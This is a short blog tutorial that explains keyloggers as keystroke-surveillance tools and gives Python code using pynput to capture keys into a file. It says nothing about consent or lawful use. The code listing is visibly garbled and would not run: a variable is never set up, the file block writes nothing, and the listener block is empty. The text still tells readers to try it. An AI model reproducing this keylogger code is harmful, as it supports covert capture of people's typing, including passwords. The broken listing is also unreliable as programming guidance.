How to Make a Keylogger using Python

Hello, Internet programmer today we make keylogger using python. A keylogger is a type of surveillance technology used to monitor and record each keystroke typed on a specific computer’s keyboard. In this tutorial, you will learn how to write a keylogger in Python.

We use pynput python module to design a keylogger in python. This library allows you to control and monitor input devices.


type following command in terminal

pip install pynput


from pynput.keyboard import Key, Controller,Listener
keyboard = Controller()

def on_press(key):
    global keys
    string = str(key).replace("'","")
    main_string = "".join(keys)
    with open('keys.txt', 'a') as f:
        keys= []     
def on_release(key):
    if key == Key.esc:
        return False

with Listener(on_press=on_press,on_release=on_release) as listener:

try this code to see the output. Follow me on insta @code_snail

You may also like,

Support CodeSnail

If you appreciate my work, or if it has helped you along your journey. It would mean a lot to me if you could write a message on my wall and share a cup of coffee (or tea) with me.

Buy Me A Coffee
Your subscription could not be saved. Please try again.
Your subscription has been successful.


Subscribe to our newsletter and stay updated.

Leave a Comment